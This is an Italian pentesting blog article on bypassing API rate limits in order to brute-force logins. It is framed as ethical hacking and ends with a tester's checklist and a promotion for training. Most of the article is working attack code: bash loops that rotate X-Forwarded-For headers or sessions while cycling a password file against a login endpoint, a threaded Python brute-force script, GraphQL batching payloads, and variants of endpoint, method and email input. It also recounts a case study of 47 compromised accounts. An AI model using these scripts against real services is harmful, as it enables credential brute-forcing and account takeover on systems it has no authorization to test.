web-hacking

API Rate Limit Bypass: Tecniche di Pentesting per Bypassare il Throttling (2026)

API Rate Limit Bypass: Tecniche di Pentesting per Bypassare il Throttling (2026)

API Rate Limit Bypass spiegato in modo operativo: header rotation con X-Forwarded-For, endpoint switching, HTTP method tampering, Unicode bypass, race condition e GraphQL batching.

  • Pubblicato il 2026-03-04
  • Tempo di lettura: 4 min

Cos’è L’API Rate Limit Bypass? #

Il rate limit è il meccanismo che limita il numero di request che un client può fare a un’API in un dato intervallo — ad esempio 100 request al minuto. Serve a proteggere da brute force, scraping, DoS e abuso generale. Un API Rate Limit Bypass è qualsiasi tecnica che permette di superare questi limiti, facendo più request di quante l’applicazione dovrebbe permettere.

Il rate limit è spesso l’ultima linea di difesa. Se il login non ha lockout, il rate limit dovrebbe bloccare il brute force. Se l’API espone dati, il rate limit dovrebbe impedire lo scraping. Quando si bypassa — e succede molto più spesso di quanto gli sviluppatori credano — tutte queste protezioni crollano insieme.

Satellite della guida pillar API & Modern Web Attacks. Vedi anche: Brute Force, GraphQL Exploitation.

Riferimenti: OWASP Blocking Brute Force, HackTricks Rate Limit Bypass.


Detection — Capire Il Rate Limit #

bash
# 50 request rapide → osserva quando scatta il 429:
for i in $(seq 1 50); do
  code=$(curl -s -o /dev/null -w "%{http_code}" \
    -X POST "https://target.com/api/login" \
    -d '{"email":"test@test.com","password":"wrong"}')
  echo "Request $i$code"
done

# Nota:
# → Dopo quante request → 429 Too Many Requests?
# → Cooldown: Retry-After: 60? (secondi)
# → Basato su: IP? Account? Sessione? API key?

# Header nella response 429:
# X-RateLimit-Limit: 100         → max permesse
# X-RateLimit-Remaining: 0       → rimanenti
# X-RateLimit-Reset: 1708900000  → timestamp reset

Bypass 1 — Header IP Rotation #

Il rate limit più comune è per IP. Se il server legge l’IP da un header HTTP (per reverse proxy), cambialo a ogni request:

bash
# Header da testare:
X-Forwarded-For: 10.0.0.1
X-Real-IP: 10.0.0.2
True-Client-IP: 10.0.0.3
X-Client-IP: 10.0.0.4
CF-Connecting-IP: 10.0.0.5        # Cloudflare
Forwarded: for=10.0.0.6            # RFC 7239

# Script con rotation:
for i in $(seq 1 1000); do
  ip="10.0.$((RANDOM % 255)).$((RANDOM % 255))"
  curl -s -X POST "https://target.com/api/login" \
    -H "X-Forwarded-For: $ip" \
    -d "{\"email\":\"admin@target.com\",\"password\":\"$(sed -n "${i}p" passwords.txt)\"}" \
    | grep -q "token" && echo "[+] FOUND: line $i"
done

Double Header #

bash
# Alcuni WAF leggono il primo header, il backend l'ultimo:
X-Forwarded-For: REAL_IP
X-Forwarded-For: FAKE_IP

# O IP multipli nella stessa riga:
X-Forwarded-For: 10.0.0.1, 1.2.3.4

Bypass 2 — Endpoint Variation #

Il rate limit è configurato per path specifico. Endpoint diversi che fanno la stessa cosa possono avere limiti diversi:

bash
POST /api/login            → 429 dopo 10 tentativi

# Varianti:
POST /api/v1/login         → nessun rate limit?
POST /api/v2/auth/login    → rate limit diverso?
POST /api/login/           → trailing slash
POST /api/Login            → case diverso
POST /api/./login          → dot-segment
POST /API/LOGIN            → uppercase
POST /mobile/api/login     → endpoint mobile
POST /oauth/token          → OAuth password grant

Bypass 3 — HTTP Method Tampering #

bash
# Il rate limit protegge POST ma non altri metodi:
POST /api/login → rate limited
GET /api/login?email=admin&password=test → funziona?

# Method override:
POST /api/login
X-HTTP-Method-Override: PUT

POST /api/login
X-HTTP-Method: PATCH

Bypass 4 — Parameter Manipulation #

Se il rate limit è per account, variazioni nel parametro possono ingannare il contatore:

bash
# Il rate limit tratta queste come email DIVERSE:
{"email":"admin@target.com ","password":"test"}          # Spazio finale
{"email":"Admin@target.com","password":"test"}           # Case
{"email":"admin@target.com\n","password":"test"}         # Newline
{"email":" admin@target.com","password":"test"}          # Spazio iniziale
{"email":"admin@target.com","password":"test","x":"y"}   # Param extra

# Ma il backend normalizza → stessa email → login valido
# 5 varianti × 5 tentativi = 25 tentativi sotto il radar

Unicode Normalization #

bash
# 'a' (U+0061) vs 'ⓐ' (U+24D0) vs 'a' (U+FF41)
# Rate limit: "ⓐdmin@target.com" → utente diverso
# Backend normalizza → "admin@target.com" → stesso utente
{"email":"ⓐdmin@target.com","password":"test"}

Bypass 5 — Race Condition #

Se il contatore si incrementa DOPO la risposta, request simultanee passano tutte:

python
#!/usr/bin/env python3
"""race_ratelimit.py"""
import threading, requests

URL = "https://target.com/api/login"
PASSWORDS = open("top100.txt").read().splitlines()

def try_login(pwd):
    r = requests.post(URL, json={"email":"admin@target.com","password":pwd}, timeout=5)
    if r.status_code == 200 and "token" in r.text:
        print(f"[+] FOUND: {pwd}")

# 100 request simultanee prima che il contatore si aggiorni
threads = [threading.Thread(target=try_login, args=(p,)) for p in PASSWORDS[:100]]
for t in threads: t.start()
for t in threads: t.join()

Bypass 6 — Session Rotation #

bash
# Se il rate limit è per sessione:
for i in $(seq 1 100); do
  # Nuova sessione a ogni batch
  session=$(curl -sc - "https://target.com/" | grep session | awk '{print $7}')
  for j in $(seq 1 5); do
    line=$(( (i-1)*5 + j ))
    curl -s -X POST "https://target.com/api/login" \
      -H "Cookie: session=$session" \
      -d "{\"email\":\"admin@co.it\",\"password\":\"$(sed -n "${line}p" passwords.txt)\"}"
  done
done
# 5 tentativi/sessione × 100 sessioni = 500 tentativi

Bypass 7 — GraphQL Batching #

Il bypass più efficace in assoluto — trattato in dettaglio su GraphQL Exploitation:

json
[
  {"query":"mutation{login(email:\"admin@co.it\",password:\"Pass1!\"){token}}"},
  {"query":"mutation{login(email:\"admin@co.it\",password:\"Pass2!\"){token}}"},
  {"query":"mutation{login(email:\"admin@co.it\",password:\"Pass3!\"){token}}"}
]
// 1 request HTTP  3 tentativi (scala a 1000)

Output Reale #

bash
$ # Senza header → bloccato:
$ curl -s "https://target.com/api/login" -d '{"email":"admin@co.it","password":"x"}'
{"error":"Too many requests. Try again in 15 minutes."}

$ # Con X-Forwarded-For → sbloccato:
$ curl -s "https://target.com/api/login" \
  -H "X-Forwarded-For: 192.168.1.$((RANDOM%255))" \
  -d '{"email":"admin@co.it","password":"x"}'
{"error":"Invalid credentials"}

$ # Endpoint v1 → nessun rate limit:
$ curl -s "https://target.com/api/v1/login" -d '{"email":"admin@co.it","password":"x"}'
{"error":"Invalid credentials"}  # Nessun 429 anche dopo 1000 request!

Workflow Operativo #

Step 1 → 50 request rapide: quando scatta il 429? Per IP, account, sessione?

Step 2 → X-Forwarded-For con IP random: il 429 scompare?

Step 3 → Endpoint variation: /v1/, /mobile/, trailing slash, case diverso?

Step 4 → Parameter manipulation: spazio, case, Unicode nell’email?

Step 5 → Race condition: 100 request parallele passano?

Step 6 → Bypass confermato → brute force, scraping, OTP bypass.


Caso Studio #

Settore: E-commerce italiano, 200.000 clienti, API REST.

L’endpoint POST /api/auth/login aveva rate limit di 10 tentativi/15 minuti per IP. Il server dietro Nginx leggeva l’IP da X-Forwarded-For senza validazione → header rotation, rate limit mai scattato.

L’endpoint v1 (POST /api/v1/auth/login, “deprecato” ma attivo) non aveva rate limit. Password spray con 3 password su 200.000 email → 47 account compromessi, 2 store_manager con accesso ordini e pagamenti.

Due bypass: header rotation sulla v2, zero limiti sulla v1.


✅ Checklist #

text
DETECTION
☐ Dopo quante request → 429?
☐ Basato su: IP / account / sessione / API key?
☐ Cooldown: quanto dura?

HEADER ROTATION
☐ X-Forwarded-For random → resetta il limit?
☐ X-Real-IP, True-Client-IP, CF-Connecting-IP?
☐ Double header?

ENDPOINT
☐ /api/v1/ senza rate limit?
☐ /mobile/, trailing slash, case diverso?

PARAMETER
☐ Spazio/case/null nell'email → utente diverso per il limit?
☐ Unicode normalization?

RACE / SESSION
☐ 100+ request simultanee → passano?
☐ Nuova sessione → resetta il limit?
☐ GraphQL batching?

Riferimenti: OWASP Blocking Brute Force, HackTricks Rate Limit Bypass.

Satellite della Guida API & Modern Web Attacks. Vedi anche: Brute Force, GraphQL Exploitation, 2FA Bypass.

Il tuo rate limit resiste a X-Forwarded-For? L’endpoint v1 ha gli stessi limiti della v2? Penetration test API HackIta. Dal bypass al brute force: formazione 1:1.

#api

DIVENTA PARTE DELL’ÉLITE DELL’HACKING ETICO.

Accedi a risorse avanzate, lab esclusivi e strategie usate dai veri professionisti della cybersecurity.

Non sono un robot

Iscrivendoti accetti di ricevere la newsletter di HACKITA. Ti puoi disiscrivere in qualsiasi momento.